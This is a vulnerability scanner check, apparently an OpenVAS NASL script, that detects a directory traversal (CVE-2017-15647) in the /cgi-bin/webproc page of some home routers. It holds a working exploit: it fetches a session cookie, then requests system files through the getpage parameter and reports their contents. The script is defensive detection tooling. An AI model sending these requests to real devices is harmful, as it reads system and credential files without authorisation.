Multiple Router Directory Traversal Vulnerability

# SPDX-FileCopyrightText: 2017 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.140448");
  script_version("2023-07-14T16:09:27+0000");
  script_tag(name:"last_modification", value:"2023-07-14 16:09:27 +0000 (Fri, 14 Jul 2023)");
  script_tag(name:"creation_date", value:"2017-10-24 09:17:33 +0700 (Tue, 24 Oct 2017)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_tag(name:"severity_vector", value:"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2017-11-07 15:02:00 +0000 (Tue, 07 Nov 2017)");

  script_cve_id("CVE-2017-15647");

  script_tag(name:"qod_type", value:"exploit");

  script_name("Multiple Router Directory Traversal Vulnerability");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2017 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_get_http_banner.nasl", "os_detection.nasl");
  script_require_keys("Host/runs_unixoide");
  script_mandatory_keys("mini_httpd/banner");
  script_require_ports("Services/www", 8080);

  script_tag(name:"summary", value:"Multiple home router products are prone to a directory traversal
  vulnerability.");

  script_tag(name:"insight", value:"On multiple home router products (e.g. FiberHome, PLC Systems), a directory
  traversal vulnerability exists in /cgi-bin/webproc via the getpage parameter in conjunction with a crafted
  var:page value.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer release, disable respective features, remove the product or replace the product by another one.");
  script_tag(name:"solution_type", value:"WillNotFix");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_xref(name:"URL", value:"https://blogs.securiteam.com/index.php/archives/3472");

  exit(0);
}

include("host_details.inc");
include("os_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("misc_func.inc");

port = http_get_port(default: 8080);

# Seems we have to access this page first and get the cookie from it to succeed
req = http_get(port: port, item: "/cgi-bin/webproc?getpage=html/index.html&errorpage=html/main.html&var:language=zh_cn&var:menu=setup&var:page=connected&var:retag=1&var:subpage=-");
res = http_keepalive_send_recv(port: port, data: req);

files = traversal_files("linux");

cookie = http_get_cookie_from_header(buf: res, pattern: '(sessionid=[^;]+)');
if (cookie) {
  cookie += "; language=en_us";

  foreach pattern(keys(files)) {

    file = files[pattern];

    url = '/cgi-bin/webproc?getpage=/' + file + '&var:language=en_us&var:page=wizardfifth';

    req = http_get_req(port: port, url: url, add_headers: make_array("Cookie", cookie));
    res = http_keepalive_send_recv(port: port, data: req, bodyonly: TRUE);

    if (egrep(string: res, pattern: pattern)) {
      report = "It was possible to obtain the '/" + file + "' file.\n\nResult:\n" + res;
      security_message(port: port, data: report);
      exit(0);
    }
  }
}

exit(0);